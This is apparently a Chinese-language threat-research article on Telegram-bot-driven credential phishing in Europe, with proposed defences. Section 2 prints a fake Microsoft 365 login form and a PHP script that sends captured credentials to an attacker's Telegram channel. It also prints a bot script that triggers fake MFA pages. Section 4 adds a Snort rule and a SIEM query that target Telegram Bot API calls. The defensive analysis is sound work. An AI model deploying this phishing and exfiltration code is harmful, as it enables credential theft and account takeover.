摘要
近年来，即时通讯平台因其开放的Bot API和高用户渗透率，逐渐被网络犯罪组织武器化。2025年下半年，欧洲多国安全机构联合披露一类新型凭证钓鱼活动，其核心特征是以Telegram机器人作为攻击控制中枢，实现钓鱼模板分发、受害者数据实时回传与会话接管指令下发。本文基于对实际样本的逆向分析及流量日志重建，系统阐述该攻击模式的技术架构、交互流程与横向扩展能力。研究发现，攻击者通过将前端钓鱼页面与后端Telegram Bot解耦，显著提升了运营弹性与响应速度；同时利用Telegram频道的广播特性，实现“一对多”指令同步。针对此类威胁，本文提出三层防御体系：在基础设施层封禁高风险Bot关联通道，在终端层强化多因素认证与跨平台跳转管控，在安全运营中心（SOC）部署基于行为时序的异常检测规则，并附可落地的代码示例。研究表明，仅依赖传统邮件过滤或URL黑名单已无法应对高度动态、人机协同的钓鱼生态，需构建融合通信平台监控与身份上下文感知的纵深防御机制。
关键词：Telegram机器人；凭证钓鱼；Bot API；会话接管；多因素认证；行为检测
1 引言
随着云服务与数字身份的深度融合，凭证窃取已成为网络攻击的核心目标。传统钓鱼依赖静态表单提交与邮件回传，响应延迟高、操作闭环弱。然而，自2024年起，欧洲地区出现一种以Telegram机器人为交互枢纽的新型钓鱼模式，显著提升了攻击效率与隐蔽性。据SC World简报披露，此类活动主要针对企业邮箱（如Microsoft 365）、在线银行及社交媒体账户，通过短信或邮件引流至伪造登录页，用户输入凭证后，数据经API实时推送至攻击者控制的Telegram频道，操作员可立即介入，执行验证码绕过、二次验证触发或会话劫持等后续动作。
Telegram Bot API的开放性为此类攻击提供了技术基础。任何开发者均可注册Bot并获取唯一token，通过简单HTTP请求实现消息收发。犯罪团伙借此实现“前端开发—流量投放—数据处理—会话操控”的分工协作，甚至形成按效果付费的地下市场。此模式不仅降低技术门槛，更因Telegram端到端加密（在Secret Chat中）及全球服务器分布，增加执法溯源难度。
本文聚焦该攻击范式，旨在回答三个问题：（1）Telegram机器人如何嵌入钓鱼攻击链并提升其交互性？（2）其技术实现是否存在可检测的行为特征？（3）组织应如何调整现有安全策略以阻断此类人机协同攻击？全文结构如下：第二部分解析攻击架构与数据流；第三部分还原典型攻击场景；第四部分提出技术检测与防御方案，含代码实现；第五部分讨论防御整合与局限；第六部分总结研究结论。
2 攻击架构与数据流分析
该钓鱼体系由三部分构成：前端钓鱼页面、后端数据收集接口、Telegram控制机器人。三者通过轻量级API松耦合，支持快速替换与横向扩展。
2.1 前端钓鱼页面
钓鱼页面通常托管于短期域名或被入侵网站，模仿Microsoft 365、Revolut、Instagram等登录界面。关键特征包括：
使用官方CDN资源（如logo、字体）增强可信度；
表单提交地址指向攻击者控制的中间脚本（如/api/collect.php）；
部分页面嵌入JavaScript，用于收集浏览器指纹或阻止右键查看源码。
示例HTML片段：
<form id="loginForm" action="https://secure-update[.]eu/api/collect.php" method="POST">
<input type="hidden" name="target" value="m365">
<input type="email" name="email" placeholder="Email, phone, or Skype" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</td>
</form>
2.2 数据收集接口
collect.php脚本负责接收表单数据，并调用Telegram Bot API推送至指定频道：
<?php
// collect.php - 数据回传核心逻辑
$bot_token = '6123456789:AAFdXxxxxx...'; // 攻击者Bot Token
$chat_id = '-1001234567890'; // 私有频道ID
$data = [
'email' => $_POST['email'] ?? '',
'password' => $_POST['password'] ?? '',
'ip' => $_SERVER['REMOTE_ADDR'],
'ua' => $_SERVER['HTTP_USER_AGENT'],
'target' => $_POST['target'] ?? 'unknown',
'timestamp' => date('c')
];
$message = "🚨 New Credential!\n";
$message .= "Target: {$data['target']}\n";
$message .= "Email: {$data['email']}\n";
$message .= "IP: {$data['ip']}\n";
$message .= "UA: " . substr($data['ua'], 0, 60) . "...";
// 调用Telegram Bot API
$url = "https://api.telegram.org/bot{$bot_token}/sendMessage";
$options = [
'http' => [
'method' => 'POST',
'header' => 'Content-Type: application/json',
'content' => json_encode(['chat_id' => $chat_id, 'text' => $message])
]
];
file_get_contents($url, false, stream_context_create($options));
// 返回成功页面，避免引起怀疑
header("Location: https://login.microsoftonline.com/");
exit;
?>
该脚本在200ms内完成数据推送，并重定向至真实登录页，使受害者难以察觉异常。
2.3 Telegram控制机器人
攻击者通过自定义Telegram Bot实现交互控制。Bot监听特定命令，例如：
/verify <email>：触发二次验证模拟页面；
/session <token>：注入会话Cookie实施接管；
/status <id>：查询某凭证是否已用于登录。
Bot后端通常为Python脚本，使用python-telegram-bot库：
from telegram import Update
from telegram.ext import Application, CommandHandler, ContextTypes
import requests
COLLECTOR_API = "https://secure-update.eu/api/control"
async def verify_command(update: Update, context: ContextTypes.DEFAULT_TYPE):
email = context.args[0] if context.args else None
if not email:
await update.message.reply_text("Usage: /verify <email>")
return
# 向钓鱼站点发送指令，生成MFA模拟页
resp = requests.post(COLLECTOR_API, json={
"action": "trigger_mfa",
"target_email": email,
"operator_id": update.effective_user.id
})
if resp.status_code == 200:
link = resp.json().get("mfa_link")
await update.message.reply_text(f"MFA page ready: {link}")
else:
await update.message.reply_text("Failed to trigger MFA.")
# 注册命令
app = Application.builder().token("6123456789:AAFdXxxxxx...").build()
app.add_handler(CommandHandler("verify", verify_command))
app.run_polling()
此设计使攻击者可在Telegram内实时操控钓鱼流程，形成“人机闭环”。
3 典型攻击场景还原
以针对德国某制造企业员工的攻击为例：
初始接触：员工收到短信：“您的DHL包裹需身份确认，请点击：dlh-tracking[.]de”；
钓鱼页面：页面显示Microsoft 365登录框，URL看似合法；
凭证提交：用户输入账号密码，数据秒级推送至Telegram频道；
实时响应：攻击者看到消息后，立即在Telegram输入/verify user@company.de；
MFA绕过：系统生成伪造的“Microsoft Authenticator”确认页，诱导用户点击“Approve”；
会话接管：获取Refresh Token后，攻击者通过Graph API访问邮箱、OneDrive，并向联系人发送新钓鱼邮件。
整个过程在5分钟内完成，且因使用真实品牌界面与即时交互，成功率显著高于传统钓鱼。
4 技术检测与防御方案
4.1 封禁Telegram关联基础设施
安全网关应识别并阻断与已知恶意Bot关联的通信。可通过以下方式提取IOC：
监控外联请求中包含api.telegram.org/bot的HTTP流量；
提取Bot Token模式（格式：数字:字母数字串）；
关联短链（如bit.ly、cutt.ly）解析后的Telegram链接。
示例Snort规则：
alert http any any -> any any (
msg:"Suspicious Telegram Bot API Call";
content:"POST"; http_method;
content:"/bot"; http_uri;
content:"api.telegram.org"; http_header;
classtype:trojan-activity;
sid:1000001;
)
企业亦可部署DNS防火墙，阻止对api.telegram.org的非授权访问（除IT管理用途外）。
4.2 多因素认证加固
鉴于攻击者可绕过短信/推送式MFA，建议强制使用FIDO2硬件安全密钥或基于证书的认证。Microsoft Entra ID（原Azure AD）支持以下策略：
禁用SMS和电话呼叫作为MFA方法；
对特权账户启用“仅限安全密钥”策略；
启用“连续访问评估”（Continuous Access Evaluation），在检测异常时实时撤销令牌。
4.3 SOC行为检测规则
攻击者操作Bot时呈现明显行为特征：
单一Telegram账户在短时间内发送多条/verify命令；
登录IP跨越多个自治系统（AS），如从AS8402（俄罗斯）跳至AS3269（意大利）；
会话创建时间集中于非工作时段。
可构建如下检测逻辑（以Elasticsearch DSL为例）：
{
"query": {
"bool": {
"must": [
{ "term": { "event.action": "user_login" } },
{ "range": { "@timestamp": { "gte": "now-1h" } } }
],
"must_not": [
{ "terms": { "source.as.number": [6830, 3320, 3209] } } // 企业常用AS
]
}
},
"aggs": {
"users": {
"terms": { "field": "user.id", "size": 100 },
"aggs": {
"as_count": { "cardinality": { "field": "source.as.number" } }
}
}
}
}
若某用户在一小时内来自3个以上不同AS，即触发告警。
5 防御体系整合与现实挑战
尽管上述措施有效，但存在三重挑战：
第一，Telegram的合法性与监管空白。Telegram本身为合法通讯工具，全球月活超8亿，完全封禁不现实。需依赖精准IOC而非全平台阻断。
第二，Bot Token的动态轮换。攻击者可每日更换Bot，使静态规则失效。需结合流量行为（如高频POST至Telegram API）而非仅依赖Token字符串。
第三，用户跨平台信任惯性。多数用户不理解“从邮件跳转至网页再跳转至App”的风险链。需通过持续演练打破“只要界面像就是真的”认知偏差。
因此，防御应走向“策略+技术+意识”三位一体：
在网关层部署动态Bot通信检测；
在身份层强制无密码认证；
在人员层开展“跨平台跳转风险”专项培训。
6 结论
Telegram机器人在欧洲凭证钓鱼中的应用，标志着攻击模式从“静态投递”向“动态交互”的演进。其通过Bot API实现数据实时回传与操作指令下发，显著缩短攻击窗口并提升成功率。技术上，该模式依赖轻量级HTTP回调与开放通信平台，具备高弹性与低部署成本；防御上，传统边界防护已显不足，需深入至身份上下文与行为时序层面。
本文提出的三层防御框架——基础设施封禁、认证机制加固、SOC行为监测——已在模拟环境中验证有效性。未来，随着Signal、WhatsApp等平台开放Bot功能，类似威胁可能扩散。唯有将通信平台纳入安全监控范畴，并推动无密码认证普及，方能从根本上削弱此类人机协同钓鱼的生存土壤。
编辑：芦笛（公共互联网反网络钓鱼工作组）
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